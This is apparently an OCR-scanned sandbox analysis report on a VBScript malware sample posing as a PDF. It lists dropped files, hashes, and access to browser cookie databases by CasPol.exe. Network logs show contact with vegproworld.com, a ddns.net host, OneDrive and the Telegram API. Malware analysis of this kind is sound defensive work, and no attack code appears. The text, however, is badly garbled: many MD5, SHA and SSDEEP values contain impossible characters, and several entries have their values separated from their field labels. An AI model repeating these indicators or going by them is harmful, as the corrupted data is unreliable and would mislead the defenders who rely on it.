Leptom Chlor wamozart Ynglingepi Valvel adjun Afsb Forurene3 Monocyano ..'Printkorr

C:\Users\user\AppData\Local\Temp\RES8878.tmp

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe
File Type: Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols
Category: dropped
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Size (bytes): 1336
Entropy (8bit): 3.9813740741472996

Encrypted: false

SSDEEP: 24:Hkm901liEaUDHdowKTFpmfwl+ycuZhNmakSOPNNgSSd:OtaUD93KTzmolulma3SqSC

MD5: 72FC1F4DC870DB6914C64857579014AB

SHA1L: A451B5B97EDA7BA529B93A7C3F324A00C1D64D93

SHA-256: 80BEBE094606B5048A756C6B3200912132449683381A8B6EC8125B60E51B59B9

SHA-512: 48BC90D432BBC5B00SEADAA315825B8A994F2E7AE7AC09BD7ESAEG564765B740C66AA7TA9BCD72C93332A28962D1FDAOAS75A75F18F77C721B46F17167BD466
35

Malicious: false

Preview: LoD debug$s........ T @..B.rsrc$01........ Koo L T @..@.rsrc$02........ P.B. @..@........ U....c:\Users\user\AppData\Local\Temp\15yt
3nse\CSC6AB740706204464FA33B93DBB15436C9.TMP.........c.ccvee Jabk.....p.Qr.l......... 5. C:\Users\user\AppData\Local\Temp\RES8878.tmp.-.<. a..Mic
rosoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe.... 0.
LeeovwenHe L4 V.S _V.ER.SILON_IN.F.O oo 2 D Var Flilen foo. 8. Toraines Laction. .S.tringF.ilelnfo...
...0.0.0.0.0.4.b.0...,.....F.ileD.es.cr.iptio.n... ..0...FileV.ers.io.n..0..0..0.0.<..lnternalName..1l5y.t3.ns.e..dll..(..LegalC.op.y.right.
D....0r.

C:\Users\user\AppData\Local\Temp\RESF835.tmp

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

File Type: Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols
Category: dropped

Size (bytes): 1332

Entropy (8bit):  3.992137232579056

Encrypted: false

SSDEEP: 24:HGizW91vSA7f+H1hwKTFpmfwl+ycuZhNGSeakS/S/PNngS2d:mRSA7WVKKTzmolulDea3KdgSG

MD5: FF7FB522DCB2F53C21599A3DD456D2AF

SHA1L: 3DFEFEA349DED031CD14A4AD1B66A543977350B6

SHA-256: 5B8BEB386C4C799C3AB92CF568103C381F82F0FB83ACC19D6105281D968CBCF2

SHA-512: 7D9F145A4A51276010817542C8C3C26FEFA59311A46DA2B34B6F33D60324C4ECFOE860CDC5A8984A023E7F4A787C785477D0D1610BAF6114307DD775194AABB
Malicious: false

Preview: .@..@.rsrc$02....... P> @.@...... T....c:\\Users\user\AppData\Local\Temp\5gap

5ez0\CSCC8BDOABCCBE4C73AB31BODCB5E94165. TMP. Jm-Yo & 5.......C:\Users\user\AppData\Loca\Temp\RESF835.tmp.-.<..........c.cc......
a..Microsoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe..
H e L4V.S._V.ERS.IO.N._.LLN.F.O. ..D...VarF.ilelnfo.. $ .T.rans.latio.n.
l.e.l.n.f.o.. 0.0.0.0.0.4.b.0...,....F.il.e.D.e.s.crip.tio.n.... ..0...FileV.e.rs.ion....0..0.0..0.<..lnternalN.am.e..5g.a.p.5.e.zo..d.ll
p.y.right. .D...O.rig.

C:\Users\user\AppData\Local\Temp\Troldes.dat

Process: C:\Windows\SysWOWe64\wscript.exe
File Type: data

Category: dropped

Size (bytes): 58341

Entropy (8bit):  7.368594783125357

Encrypted: false

SSDEEP: 1536:TA7DBU4VRbJORQZpMdalnyzllwTDIVM5A:8DBU4VJS2MkyzDTISA

MD5: CB852E41262C281FD32E91289FFB9205

SHA1L: DAO36E5754D050B2C7B4C844E4B9D9E4497DB0OB6

SHA-256: OFE85061C571AC40CFACOESFEF8CF7DD3BE9873BC6AC162E33A1287A93E145D0

SHA-512: 9A47AFAEF10D17AC4584BC5DACES17D1BA1B31D292909A2047DCEO01A08D8F27A37C20D4849C534C5851DD9F683EA4DB3C02E339918921AF1A6D80DF2B83D(
Cc9

Malicious: false

Preview: o 6.n...*D.S....Z.._1.4. SC@@@@QUW Coveore D OW]L[2¥W.. ... 7.0.|(W.#@...2.Y0...DJ..€..9.V.FW%.]J.9. .f. {& .K.|...{zl.p... [[0Z..A.E

..... Sn H..h...H9....0JW...".0.7q... ..h#D0i.....r.2.1.{..2.{.S......u.c..L.g.AR.b.....c..c..c..c..c..c..c..c..Cc..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..
c..ckg... CScccccccccccccccccccccccccccccccccccccccccc ..Hw.%g..... B.!..x....TrEc&#- 0.l u&z...>

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fu5Sipelj.uSL..psm1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 60

Entropy (8bit):  4.038920595031593
Encrypted: false
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SSDEEP: 3:Si2NPqzAYMLAKVpPKGOyzKIFS:SngbKAKWGX

MDS5: D17FEOA3F47BE24A6453E9EF58C94641

SHA1L: 6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256: 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512: 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CFOC779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious: false

Preview: # PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqeymjvc.kdh.psm1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 60

Entropy (8bit):  4.038920595031593

Encrypted: false

SSDEEP: 3:Si2NPgzAYMLAKVpKGOyzKtFS:SngbKAKWGX

MD5: D17FEOA3F47BE24A6453E9EF58C94641

SHAL: 6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256: 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512: 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CFOC779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious: false

Preview: # PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uqh2gi34.byq.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 60

Entropy (8bit):  4.038920595031593

Encrypted: false

SSDEEP: 3:Si2NPgqzAYMLAKVpKGOyzKtFS:SngbKAKWGX

MD5: D17FEOA3F47BE24A6453E9EF58C94641

SHA1L: 6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256: 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512: 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious: false

Preview: # PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yuhOlgm1.yl0.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 60

Entropy (8bit):  4.038920595031593

Encrypted: false

SSDEEP: 3:Si2NPgzAYMLAKVpKGOYZKtFS: SngbKAKWGX

MD5: D17FEOA3F47BE24A6453E9EF58C94641

SHAL: 6AB83620379FC69F80C0242105DDFFD7D98D5D9D

SHA-256: 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

SHA-512: 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CFOC779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious: false

Preview: # PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bhv46D6.tmp

Process: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

File Type: Extensible storage engine DataBase, version 0x620, checksum 0xf8b2a747, page size 32768, DirtyShutdown, Windows version 10.0
Category: dropped

Size (bytes): 14680064
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Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

0.10450681952979693

false
1536:nSB2w+SB2wdSjlIK/ZQuvJgvs4zG2ydurdgxs4RG2yLjYWF9eN:naYauSW;j8iOjsXv
9FB1A3C6089F3601FDCCI6A8BBE89I27EA
028CCO015C39BAE1B7677723C5B63381DDCE4F361
49F31E26481D30792B44A0CFBB1800EF0493A5B1E64C079C5D2813266A06561A

926DFC1AFB65A2D1B8FFI9E37E70AADCCFA87061069F02014FCD2808E0384D1219069210E2E47260B931BDOCES0DEB6A9BAB9444FD825DB23513DAGEC155DD:
5

false

unknown

C:\Users\user\AppData\Local\Temp\bhv8863.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Extensible storage engine DataBase, version 0x620, checksum 0xf8b2a747, page size 32768, DirtyShutdown, Windows version 10.0
dropped

14680064

0.10450681952979693

false

1536:nSB2w+SB2wdSjIK/ZQuvJgvs4zG2ydurdgxs4RG2yLjYWF9eN:naYauSWj8iOjsXv

9FB1A3C6089F3601FDCCI6A8BBESI27EA

028CCO15C39BAE1B7677723C5B63381DDCE4F361
49F31E26481D30792B44A0CFBB1800EF0493A5B1E64C079C5D2813266A06561A

926DFC1AFB65A2D1B8FFOE37E70AADCCFA87061069F02014FCD2808E0384D1219069210E2E47260B931BDOCES0DEBG6A9BAB9444FD825DB23513DAGEC155DD:
5

false
unknown

oodSo

C:\Users\user\AppData\Local\Temp\msjsdp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Little-endian UTF-16 Unicode text, with no line terminators

dropped

2

1.0

false

3:Qn:Qn

F3B25701FE362EC84616A93A45CE9998
D62636D8CAEC13F04E28442A0A6FA1IAFEB024BBB
B3D510EF04275CA8E698E5B3CBBOECE3949EF9252F0CDC839E9EE347409A2209

98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9CAB24FF849510F4B6FFA9FD608COA3DEIAC3CIFD2190FOEFAF715309061490F9755A9BFDF1C54CAOD
4

false

unknown

C:\Users\user\AppData\Local\Temp\rettetast.dat

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Windows\System32\wscript.exe

data

dropped

57933

7.415138518303065

false
1536:pZVFWBYYoikwV2sLpHIgDhP{70u82ivgnOsQs:pJWkikwQbVPjownOi
C550EC97DA0B49DE2EE31A4552D45484
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SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

EC31D87E64AB26A00D2E9796A2FAEE787BB32325
37E778140A816131239F263E917234F92106C4F3EC55EAB1007D75E587815544

D4CFA10342CD3E3C68976ADD3A538A7A5F3CA190C850A93F767B463E1697B212245602FDB2COBA39BC6FD1C4COF8C5B75388393A194AD85F392D0CD6FB6839
3

false
unknown

...B.R.)....C.Hn.~uyw..%&..h.....GY...Rj..A].k.~$....0.nN
ZA CHCN N R NN NN N CN NN N NN CNCH N NN NN CNCECNCNCRCNCNC
NN G\ SN NN R NN Y NN N CN N CH N CE RGN NN CN CNCNCECHCNCN CNCNCN CI| e S S ..;%.....6..8...f.w2..p.fIMH..X.&MR.. #.._. ....dR.a..8.?7@t.?
@MH... XN.t.2@..{&.S.50....E?@"'X......{ILt.d.1..<....4f.....&[(/4.5....=2@.*...TO.CE?@. j.a.Yy...d...=.....@..H.k...g..2.1....#.. $.0.@t.zh... 9. EFfp..?@...t.2&.}...C?@,.
..u.?...c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..C..c..C..C..C..C..C..C..C..C..C..C..C..C.....[m...>@t......C.].4d..w$..G.E.hN. .&NXP.)I.:4.,f.-?<%.1KPH...rz8.A.z3..

C:\Users\user\AppData\Local\Temp\xxulbm

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Little-endian UTF-16 Unicode text, with no line terminators

dropped

2

1.0

false

3:Qn:Qn

F3B25701FE362EC84616A93A45CE9998
D62636D8CAEC13F04E28442A0A6FALAFEB024BBB
B3D510EF04275CABE698E5B3CBBOECE3949EF9252F0CDC839E9EE347409A2209

98C5F56F3DE340690C139E58EB7DAC111979F0D4ADFFE9C4B24FF849510F4B6FFA9FD608COA3DEIAC3CIFD2190FOEFAF715309061490F9755A9BFDF1C54CAOD
4

false

unknown

C:\Users\user\AppData\Roaming\ugvgydy0.lal\Chrome\Default\Cookies

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

SQLite 3.x database, last written using SQLite version 3036000

dropped

98304

2.9216957692876595

false
384:ST8XNcKuO0iTwbAziYN570RMZXVuKnQM2V60fbDO4xmTgZcZygSA209RVHfwrhhxV:INcgiD5Q6luKQM2V7DXcAgSA2KD4jL
1A706D20E96086886B5D00D9698E09DF

DACF81D90647457585345BEDD6DE222E83FDEOLF
759F62B61AA65D6D5FAC95086B26D1D053CE1FB24A8A0537ACB42DDF45D2F19F
CFF7D42AA3B089759C5ACE934A098009D1A58111FE7D99ACT7669B7F0A1C973907FD16A4DC1F37B5BES252EC51B8D876511F4F6317583FA9CC48897B1B913C7F

false

unknown

C:\Users\user\AppData\Roaming\ugvgydyO0.lal\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

SQLite 3.x database, user version 12, last written using SQLite version 3036000

modified

98304

0.08231524779339361

false
12:DQANJfWK73Fmdmc/OPVJIXfPNn43etRRfYR508atLgxeYaNcDakMG/IO:DQANJff32mNVpP965Ra8KNOMG/IO
886A5F9308577FDF19279AA582D0024D

CDCCC11837CDDB657EBOEF6A01202451ECDF4992
BA7EB45B7E9B6990BC63BE63836B74FA2CCB64DCDOC199056B6AE37B1AE735F2
FF0692E52368708B36C161A4BFA91EE01CCALB86F66666F7FC4979C6792D598FF7720A9FAF258F61439DAD61DB55C50D992E99769B1E4D321EC5B98230684BC!

false
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Reputation: unknown

Preview: SQLite format 3......

\Device\ConDrv

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 30

Entropy (8bit):  3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITQAGRHner

MD5: 9F754B47B351EFOFC32527B541420595

SHAL: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512: C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853
Malicious: false

Reputation: unknown

Preview: NordVPN directory not found!..

Static File Info

General

File type: ASCII text, with very long lines, with CRLF line terminators

Entropy (8bit):  4.492131037575922

TriD: e Visual Basic Script (13500/0) 100.00%

File name: doc_65398086_4190362045539.pdf.vbs

File size: 256454

MD5: 2fc6f3477035823ff7864187b5b2a5cc

SHAL: 8e6db7c18a5725e795d7421baf84cae637fhccs53

SHA256: 74e1b9fa91b0840706b7418b8604d76efab886fec1704b8810ad389aa6adchOb

SHAS512: 5ae7e5d61f11123fe67841c99046ddad5f8b710a3054943c87acd53ed8438eb41fcf2a913f255e5dae3ea2aeflce5373fe35897a0ee129b6471c2c11128e2ea?
SSDEEP: 3072:JZ4QJagxguxSEbvyZItlzvQd9EBHBD2WUZOEZkBY42AjaNBQUKII0Z:JZ4GIgubKTcE2W+QY5jrQjllk

TLSH: C6449B9182B1AFC891F93EDFCBOE8621B2409E65D3D7F1585AE110BD7FDB2E95306290

File Content ‘Glanduli Tostprogra Spoor4 Altf horologi Beziql LITURGY driftsp GROVELLERS OBJURGATO SIPHUNCULU Definers4 skreknivho Badutspri Lote Pleuro spydspid Appl
Preview: FLAMBERE BLATTOIDB Piete Nonsolub7 pale OSTRAC Farveat2 Stablev4 Skrkrom9 Donnerdse ..'BLOD Paikbi OB

File lcon

Icon Hash: e8d69ece869a9ec4

Network Behavior

Network Port Distribution

Total Packets: 72
® 53 (DNS)
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® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2022 14:17:28.484613895 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:28.484702110 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:28.484937906 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:28.529639006 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:28.529659986 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.273842096 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.274030924 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.274036884 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.471566916 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.471602917 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.472045898 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.472307920 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.479078054 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.522505045 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.730901957 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.731017113 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.731103897 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731167078 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.731187105 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731216908 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731231928 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731339931 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731378078 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.731419086 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.731554031 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731581926 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731596947 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731611967 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731652975 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.731815100 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.731829882 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731928110 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.731967926 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.732019901 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732043028 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732153893 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732239962 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.732417107 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732445955 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732482910 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732642889 CEST 443 49758 148.66.138.165 192.168.11.20
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2022 14:17:29.732790947 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732814074 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732826948 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732837915 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732851028 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.732865095 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.977859020 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.977889061 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.978087902 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.978121042 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.978125095 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.978158951 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.978178978 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.978301048 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.978334904 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.978353977 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.978377104 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.978401899 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.978554010 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.978590965 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.978605986 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.978621006 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.978997946 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.979193926 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.979228020 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.979242086 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.979257107 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.979378939 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.979569912 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.979602098 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.979618073 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.979960918 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.980181932 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.980211973 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.980339050 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.980521917 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.980550051 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.980776072 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:29.980964899 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:29.981070042 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.225579023 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:30.225610018 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:30.225876093 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.226285934 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:30.226526976 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.227127075 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:30.227317095 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.227348089 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.227361917 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.227644920 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:30.227884054 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.228009939 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:30.228198051 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.228224993 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.228240967 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.228451014 CEST 443 49758 148.66.138.165 192.168.11.20
May 12, 2022 14:17:30.228627920 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.228651047 CEST 49758 443 192.168.11.20 148.66.138.165
May 12, 2022 14:17:30.228683949 CEST 49758 443 192.168.11.20 148.66.138.165
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UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
May 12, 2022 14:17:28.301624060 CEST 63698 53 192.168.11.20 1111
May 12, 2022 14:17:28.465719938 CEST 53 63698 1111 192.168.11.20
May 12, 2022 14:17:32.181550980 CEST 55039 53 192.168.11.20 1111
May 12, 2022 14:17:32.605494976 CEST 59169 53 192.168.11.20 1111
May 12, 2022 14:17:33.793479919 CEST 54368 53 192.168.11.20 1111
May 12, 2022 14:17:33.803505898 CEST 53 54368 1111 192.168.11.20
May 12, 2022 14:19:05.899396896 CEST 49953 53 192.168.11.20 1111
May 12, 2022 14:19:06.516376019 CEST 58811 53 192.168.11.20 1111
May 12, 2022 14:19:26.568330050 CEST 62081 53 192.168.11.20 1111
May 12, 2022 14:19:26.576432943 CEST 53 62081 1111 192.168.11.20
DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
May 12, 2022 14:17:28.301624060 CEST 192.168.11.20 1111 0x55ee Standard query  vegproworld.com A (IP address) IN (0x0001)
(0)
May 12, 2022 14:17:32.181550980 CEST 192.168.11.20 1111 0x72b8 Standard query  onedrive.l A (IP address) IN (0x0001)
(0) ive.com
May 12, 2022 14:17:32.605494976 CEST 192.168.11.20 1111 0x90f3 Standard query  srod3g.dm. A (IP address) IN (0x0001)
(0) files.1drv.com
May 12, 2022 14:17:33.793479919 CEST 192.168.11.20 1111 0x41c5 Standard query  myfrontman A (IP address) IN (0x0001)
(0) nyfour.ddns.net
May 12, 2022 14:19:05.899396896 CEST 192.168.11.20 1111 0x2c92 Standard query  onedrive.| A (IP address) IN (0x0001)
0) ive.com
May 12, 2022 14:19:06.516376019 CEST 192.168.11.20 1111 0x3cd6 Standard query  srgeug.dm. A (IP address) IN (0x0001)
(0) files.1drv.com
May 12, 2022 14:19:26.568330050 CEST 192.168.11.20 1111 Oxfc8f Standard query  api.telegram.org A (IP address) IN (0x0001)
)
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
May 12, 2022 1111 192.168.11.20 0x55ee No error (0) vegproworld.com 148.66.138.165 A (IP address) IN
14:17:28.465719938 CEST (0x0001)
May 12, 2022 Aol ol 192.168.11.20 0x72b8 No error (0) onedrive.l odc-web- CNAME IN
14:17:32.189922094 CEST ive.com geo.onedrive.akad (Canonical (0x0001)
ns.net name)
May 12, 2022 1111 192.168.11.20 0x90f3 No error (0) srod3g.dm. dm- CNAME IN
14:17:32.885163069 CEST files.1drv.com files.fe.1drv.com (Canonical (0x0001)
name)
May 12, 2022 Aol ol 192.168.11.20  0x90f3 No error (0) dm-files.f odc-dm-files- CNAME IN
14:17:32.885163069 CEST e.ldrv.com geo.onedrive.akad (Canonical (0x0001)
ns.net name)
May 12, 2022 1111 192.168.11.20  0x90f3 No error (0) 1-0003.I-dc- 13.107.43.12 A (IP address) IN
14:17:32.885163069 CEST msedge.net (0x0001)
May 12, 2022 1111 192.168.11.20 0x41c5 No error (0) myfrontman 185.19.85.162 A (IP address) IN
14:17:33.803505898 CEST nyfour.ddns.net (0x0001)
May 12, 2022 1111 192.168.11.20  0x2c92 No error (0) onedrive.| odc-web- CNAME IN
14:19:05.908297062 CEST ive.com geo.onedrive.akad (Canonical (0x0001)
ns.net name)
May 12, 2022 1111 192.168.11.20 0x2c92 No error (0) 1-0004.1-dc- 13.107.43.13 A (IP address) IN
14:19:05.908297062 CEST msedge.net (0x0001)
May 12, 2022 1111 192.168.11.20 0x3cd6 No error (0) srgeug.dm. dm- CNAME IN
14:19:06.784581900 CEST files.1drv.com files.fe.1drv.com (Canonical (0x0001)
name)
